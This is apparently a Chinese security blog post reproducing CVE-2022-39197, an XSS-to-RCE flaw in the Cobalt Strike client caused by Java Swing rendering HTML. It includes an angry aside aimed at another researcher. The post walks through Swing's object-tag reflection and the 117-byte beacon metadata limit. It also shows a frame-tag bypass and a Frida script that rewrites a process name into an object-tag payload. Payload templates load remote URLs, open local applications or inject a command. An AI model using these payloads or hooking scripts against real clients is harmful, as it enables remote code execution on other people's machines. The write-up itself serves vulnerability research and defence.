最新CS RCE曲折的復現路

語言: CN / TW / HK

0x00 前言

就在前幾天, 無敵的北辰少爺 向CS官方提交了一個RCE漏洞,通過該漏洞可以在捕獲攻擊者的beacon後向teamserver發送包含xss的數據,經過反射後最終在攻擊者的client上執行RCE,該漏洞編號為CVE-2022-39197。可見這是一個可遇不可求的反制黑客的神洞,安服仔的噩夢。既然是暴打jb小子的漏洞,那一定要復現一下,於是我下定決心燃燒精元死命肝,在羣友尤其是panda師傅的大力支持下終於跌跌撞撞的完整的復現了該漏洞。回過頭來看這幾天,真是學了一車皮的東西。也歡迎大家加入 賽博回憶錄知識星球 ,後面我還會繼續更新我的src自動化掃描改造希望大家喜歡。

0x01 插播娛樂新聞

由於東西太多,在開講前我們先來看一段娛樂新聞。我就點名一下某魯特,你朋友圈裝逼掛個假復現CS RCE,還跟別人説就是JS執行命令。我看羣裏有人轉了我就吐槽了一句

怎麼這就要被你掛到公眾號裏?你看看你自己復現的什麼玩意,插img標籤走smb relay,這也叫做RCE?本來吧,你不掛我,我都不想理你,畢竟以你的水平到這個層次也差不多了,我打第一天就知道有人會這麼復現。可我不太理解的是

你自己都説自己錯了,那你掛我幹嘛呢?我説錯啥了呢?

這你寫的吧,別人玩剩下的東西是吧?

你的part 2是不是寫不出來?無能狂怒倒是很有一手

到底是誰浮躁?我就納悶了怎麼有人臉皮這麼厚還能寫個文來罵那些專心研究的人説他們浮躁,自己卻在朋友圈插個img就裝RCE,搞個relay就裝RCE,裝就裝吧還一本正經的忽悠別人,怎麼自己裝逼騙人被人揭穿了還跳腳了直接羣嘲安全圈浮躁了??你是不是不知道什麼叫RCE?

你寫的東西,難道就不是別人玩剩下的玩剩下的玩剩下的東西了嗎?你自己都這麼浮躁了,就不要怪圈子浮躁,物以類聚,你什麼樣子,你的圈子就是什麼樣子。我也浮躁,也愛裝逼,但我不會像你一樣半桶水卻要蔑視天下英豪。

下面我正式開始打爆你的臉!

0x02 起點

相信大家在這幾日都已經見過了插img標籤來獲取一個反彈的get請求,比如 在UI組件裏寫入 <html><img src=x> 就會得到這樣的效果

這是一個demo的java swing的代碼,在jlabel裏我直接輸入了payload就會得到一個渲染失敗的圖片,學過基礎的xss的都知道,這就是個html的img標籤渲染失敗的樣子。這也意味着如果填入了遠程地址,就會對遠程服務器發送get請求。這也是這幾天最常見的基礎利用。那麼這是為什麼呢?沒錯,這就是swing(一種java GUI的庫)自帶的特性,也是一切的起點。

我們直接谷歌搜索swing html,第一條就是官方教你如何在swing裏使用html標籤。 https://docs.oracle.com/javase/tutorial/uiswing/components/html.html

看到沒,文檔裏直接告訴我們一個事實:在內容的開頭插入 <html> 標籤後續的內容就會被格式化為html文檔進行解析,也就是説支持html標籤。這裏有個關鍵點就是 at the beginning of the text ,也就是説必須是開頭插入 <html> 才行,這個點很關鍵記一下。大部分魯特們看到這裏,可能就很顯然的認為既然支持html標籤了那是不是直接套一套XSS那一套就可以RCE了,這麼看來北辰也沒什麼了不起,我直接插一個

<script>alert(1)</script>
<script>window.open('file://xxxx/calc.exe')</script>

想怎麼彈怎麼彈,甚至還能引入外部js文件進行更多的XSS2RCE,這個漏洞沒什麼了不起,不過是他北辰發現了這個特性罷了。很顯然,事情沒有那麼簡單,甚至複雜度超出你的想象。

0x03 swing的html解析器

但凡盲測過也都會發現其實script標籤是不生效的,不僅僅是script標籤,很多標準的標籤在swing這個場景裏或多或少都受到一些功能限制。那麼要實現RCE的話,突破點在哪裏呢?這時候我們就需要從swing的代碼裏尋找答案了。打開jdk的rt.jar包,我們可以定位到swing的包內容

接下來就是在swing裏找答案了。

可以看到帶了一個套的html解析器,我們打開那個HTML啥的類隨便看看

會定義一大堆常見的html標籤和屬性,有標籤定義那一定有標籤解析之類的。東西太多我也不是非常看得懂,我就大概挑幾個點説一下,首先是他定義了標籤和對應的action

比如我們熟悉的link標籤

會關聯到linkaction

會專門判斷rel是不是stylesheet,是的話可以使用href去引入外部的css,但是如果你去查link支持的屬性還會發現標準裏支持一大堆的type,會有一大堆的騷操作,但是在這裏他只有這兩個type實際測下來是有反應的。

從註釋和代碼裏我們也能看到 script標籤是不支持的 ,這裏其實寫的也不太對,但是至少可以説明這些標籤不是不支持,就是功能有殘缺,實際上也是如此。然後再來看另一片段

在HTMLEditorKit裏的create方法可以看到不同的標籤會對應到創建不同的view

這裏重點來了,首先看這個object標籤,這是個啥呀?我們跟進去看看

通過閲讀註釋我們可以瞭解到, 這個objectview大體上就是可以實例化一個符合要求的類並且通過param進行參數傳遞! 這有股天然的反序列化的味道了,因此這是RCE的一個極大可能的突破點。圍繞這個object標籤我們可以做的事情突然就從彈圖片開始突破到了實例化任意類。先來看看後續的代碼

明顯的反射調用並且實例化類,這裏要注意的是他還加了個限制判斷,也就是實例必須繼承與Component,否則就拋出異常。這也大大限制了我們所能操作的範圍。我們繼續跟入setParameters看看是怎麼傳遞參數的

總結下來就是:

  1. classid傳入需要實例化的類,類必須繼承與Component

  2. 必須有無參構造方法,貌似是因為newinstant是調用的無參構造方法

  3. 必須存在一個setXXX方法的XXX屬性

  4. setXXX方法的傳參數必須是接受一個string類型的參數

因此找到符合上述條件的類和屬性,接着看實例化後能做啥事即可。比如我們可以簡單的來測試一個

可以看到jlabel有無參數構造方法,並且有setText的滿足條件的屬性

那麼我們可以構造

<html><object classid='javax.swing.JLabel'><parame name='Text' value='hahaha'>

那其實就變成了從lib包裏尋找符合條件的類和方法看看能不能最終做到RCE。在尋找符合條件的類之前我們先來看看這個標籤,假設我們已經找到了能夠RCE的鏈,他會是什麼樣子呢?

加載遠程payload,比如jndi什麼的

<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='http://xxx.xxx.xxx.xxx/payload'>

或者是直接打開本地的exe之類的

<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='file:///System/Applications/Calculator.app'>

又或者是命令注入

<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='";open http://www.baidu.com'>

是不是這幾種的可能性最大? 關於用哪條鏈,我這邊就不公開了,有興趣的同學按照這個思路來尋找我相信很快就能在幾百個類中找到可能的鏈了。 接下來關於payload的長度,這怎麼看都得六七十以上了,那麼就會引出後續的一些限制問題。

0x04 CS自身的限制

大家也都知道如何利用模擬beacon協議來插入img標籤了,我這邊再簡單複述一下 https://github.com/LiAoRJ/CS_fakesubmit 這是一個模擬beacon的上線包的腳本,之前是用來打dos用的,現在可以用來插入payload,具體用法github裏都有我就不贅述了。當插入數據的長度較長時,我們會發現一個問題:

這裏加上長payload後整體的包長度為132字節,而他報錯意思是整個空間只有117字節,也就是説payload是有最大長度限制的。我們來更具體的解析一下為什麼會有長度限制。先來大概瞭解一下beacon和team server之間的交互流程,其實我也是臨時百度的文章自己,基本上搜一下就有了類似的協議解析文章。

我也不贅述太多,大家可以先自己看一看文章 https://www.ijiandao.com/2b/baijia/423712.html

簡單來説分為兩部分,第一部分是上線包,上線包是由RSA加密的metadata插在cookie裏,這個metadata就是元數據,大體包含一些基本信息比如用户名、主機名、操作系統信息和AES KEY等。teamserver通過metadata裏解析這些數據後顯示在首頁,從裏面獲取aes key後用於後續的任務下發相關的數據加解密。而我們再來看CS的client的首頁都有啥

沒錯,就是這熟悉的幾個字段,這些字段中大部分信息都來自於metadata。而metadata裏的數據就是我們可以控制的插入到teamserver上進行展示的數據。回到117字節限制問題上來,我們在到CS的代碼裏看一看

我們來到cs的teamserver的代碼裏直接搜117:

跟進asymmetricCrypto.java裏看看

再來看fake client的代碼

是不是對應上了?這裏有個長度字段,可以看到服務端是獲取的我們傳輸的長度字段來做判斷的,那有的同學就要問了,如果我把payload寫的很大,但是長度給他傳1是不是就過了校驗了。答案是不行,有這個校驗的根本原因在於RSA的加密算法本身對明文加密長度的限制

而cs在加密metadata的時候用的RSA密鑰的長度為128位,因此減去11剛好是117位。這個硬性的包體總長度限制是繞不過去的。那麼payload最多可以壓縮到什麼程度呢?回到fake client裏我們看一下

可以看到前面一大坨都是改不了的,不是數字就是標識位寫死的,會被teamserver一個個讀取出來解析,我們的payload是字符串,你可以簡單的認為數字位的都是不能用的。那最終可以寫入payload的只有這裏的computername、username、processname,對應到界面上就是這三個

這裏還有個知識點就是,如果我們要插入有效的payload,肯定只能全部插入到一個單元格里,而不能三個單元格格自插一部分來進行合併。因此我們看一下這三個字段在teamserver裏是什麼樣子的形式

可以看到是直接以 \t 來切割字符串獲取三個字段內容的,也就是説如果我們不用 \t 就可以把所有內容都寫到一個單元格里而且還能少省下兩個字節的tab符號

這裏的 \x09 也就是 \t ,因此我們把這些都去了直接寫payload就可以獲取到最大可以操作的長度。這個長度為117-51=66,然後還要減去magic number和長度的8個字節,因此是66-8=58的長度限制。當然這是metadata的長度限制,但如果我們從後續的aes通信裏打入payload則不受這個限制,這個會在後續再講。

0x05 jdk版本帶來的變數

考慮到metadata有payload的限制,而前面説了利用object標籤的話基本上你實際用過了就會發現58個字符的長度根本就不夠,壓縮不下來,如果你找到的鏈很複雜就更不可能了。那麼從一個受限制的payload引申到不受限制的payload呢?

一般來説我們在瀏覽器場景上會很容易的想到引入iframe標籤來引入外部頁面,引入外部頁面也就是意味着引入外部html標籤,那麼這引入的外部html內容就不會受到長度限制了。可是當我們使用iframe標籤盲測的時候會發現毫無反應。我們在翻翻代碼,還記得前面依稀看到過frame標籤

實現了一個叫做frame的標籤,我們也懶得看代碼了,直接百度一下

按照這個格式,frame標籤有熟悉的src屬性可以引入外部頁面。但如果我們不在外層套frameset標籤的話會報錯 <html><frame src=x>

解決方法是套一個frameset

<html><frameset rows=*><frame src=x>

當然還有一個小技巧可以進一步壓縮

<html>1<frame src=x>

這也是可以運行的。這在jdk高版本的時候是可以成功引入外部頁面的,但是在java8俗稱j8的jdk1.8上卻會報錯

這個是由於frame在渲染frameview的時候會強制轉換其父組件的類型為這個類型,然而轉換失敗了就會報錯。這個問題在jdk1.8裏是無解的,這也是我在一開始認為無法繞過首頁長度限制的原因(因為我用的jdk1.8)。好了,總之引用frame標籤就可以繞過首頁的長度限制了。那麼如何在jdk1.8的情況下繼續攻擊目標呢?

0x06 無視jdk版本的RCE

前面解釋過了,首頁受到metadata的長度的限制,幾乎只有frame標籤可以繞過限制,而jdk1.8版本的情況下是不可能使用frame標籤進行繞過的。那麼我們如何進行攻擊?這時候我們就要退而求其次,假設攻擊者可以和beacon進行交互操作的情況下看看能不能RCE。答案是肯定的。正如前面所説,beacon和teamserver的交互大體分為兩個部分一個是上線包的RSA另一個是後續命令下發的AES,因此我們只需要在命令下發的AES流程裏注入數據,那就可以無視metadata的長度限制問題從而進行RCE了。這樣講很抽象,可以看點實際的。

也就是説除了首頁那個列表和eventlog以外所有命令下發的回顯和交互都是在AES裏傳遞數據的,因此只要我們能看到的界面數據可以控制,就可以進行XSS攻擊!這裏我通過frada腳本來hook win api修改tasklist返回的進程名,將進程名改寫成攻擊payload,當攻擊者點擊beacon執行列出進程時,只要他瀏覽到帶有payload的進程名,就會執行RCE!我在這個項目的基礎上進行的修改 https://github.com/TomAPU/poc_and_exp/blob/master/CVE-2022-39197/cobaltfire.py 我的frada腳本內容是

import frida
import time
import argparse

def spoof_user_name (target,url) :

#spawn target process

print( '[+] Spawning target process...' )

pid=frida.spawn(target)

session=frida.attach(pid)

js=

'''

var payload="<html>beacon.exe            <object classid='xxx.xxx.xxx.xxx'><param name='xxx'value='xxx'>"

payload=Array.from(payload).map(letter => letter.charCodeAt(0))

var Process32Next=Module.findExportByName("kernel32.dll", 'Process32Next')

Interceptor.attach(Process32Next, {

onEnter: function(args) {

//var hProcessSnap=args[0]

var info=args[1];

this.info = info;

//console.log(this.info);

this.szExeFile=this.info.add(0x24);

// console.log(this.szExeFile);

},

onLeave: function(retval) {

if(Memory.readAnsiString(this.szExeFile) == 'beacon.exe')//當進程名稱為beacon時修改其名稱,可以替換成其他

{

Memory.writeByteArray(ptr(this.szExeFile), payload)

console.log("find beacon.exe write payload")

}

//console.log(Memory.readAnsiString(this.szExeFile));

}

});

'''

#.replace('http://127.0.0.1/',url)

script = session.create_script(js)

script.load()

#resume

frida.resume(pid)

print( '[+] Let\'s wait for 10 seconds to ensure the payload sent!' )

#wait for 10 seconds

time.sleep( 1000 )

#kill

frida.kill(pid)

print( '[+] Done! Killed trojan process.' )

exit(

0

)

def showbanner () :

#Thanks http://patorjk.com/ for creating this awesome banner

banner=

''' $$$$$$\            $$\                 $$\   $$\     $$$$$$$$\ $$\                     

$$  __$$\           $$ |                $$ |  $$ |    $$  _____|\__|                    

$$ /  \__| $$$$$$\  $$$$$$$\   $$$$$$\  $$ |$$$$$$\   $$ |      $$\  $$$$$$\   $$$$$$\  

$$ |      $$  __$$\ $$  __$$\  \____$$\ $$ |\_$$  _|  $$$$$\    $$ |$$  __$$\ $$  __$$\ 

$$ |      $$ /  $$ |$$ |  $$ | $$$$$$$ |$$ |  $$ |    $$  __|   $$ |$$ |  \__|$$$$$$$$ |

$$ |  $$\ $$ |  $$ |$$ |  $$ |$$  __$$ |$$ |  $$ |$$\ $$ |      $$ |$$ |      $$   ____|

\$$$$$$  |\$$$$$$  |$$$$$$$  |\$$$$$$$ |$$ |  \$$$$  |$$ |      $$ |$$ |      \$$$$$$$\ 

\______/  \______/ \_______/  \_______|\__|   \____/ \__|      \__|\__|       \_______|

CVE-2022-39197 PoC by @TomAPU


print(banner)

parser = argparse.ArgumentParser(description=
'''This is a PoC for CVE-2022-39197, allowing to disclose CobaltStrike users' IP addresses by an exploit of XSS.(Well, clearly I haven't figure out how to trigger an RCE).
WARNING: This tool works by executing the trojan generated by CobaltStrike and hooking GetUserNameA to add XSS payload to beat the server. So, please, execute it in a virtual machine!
Currently, this POC only supports X86 exe payloads, and of course, works on Windows.

'''

)

parser.add_argument( '-t''--target' , help= 'target trojan sample' , required= False )

parser.add_argument( '-u''--url' , help= 'URL for server to load as img, considering the limit of length, it should be less than 20 bytes'

, required=

False

)

if __name__== '__main__' :

showbanner()

args = parser.parse_args()

if args.target  and args.url:

if len(args.url)> 20 :

print( '[-] URL should be shorter than 20 bytes :(' )

exit( -1 )

spoof_user_name(args.target,args.url)

else :

parser.print_help()

frada腳本的編寫就不繼續贅述了,累了。除了這種方式以外還可以基於開源的已經實現全套協議的 https://github.com/darkr4y/geacon 來直接修改打入payload。

附一個演示視頻

0x07 修復建議

修復的話這邊可以用橙子醬發在賽博回憶錄星球的一個臨時布丁來關閉swing的html渲染,這樣可以暫時性的解決這個問題,但是我現在相信,cs的下一波RCE可能會很快就來了。

0x07 總結

在短短的幾天內真的學了太多東西了,我基本是完全不懂java的,大部分時候都是一知半解的,這裏要強烈感謝羣友尤其是panda師傅的鼎力支持,給了我太多的幫助以至於我的復現不至於太掉鏈子,如果單憑我自己估計至少要兩週起步了。整個過程涉及到jdk以及cs,分析的複雜度還是挺高的,不得不説北辰是真牛逼。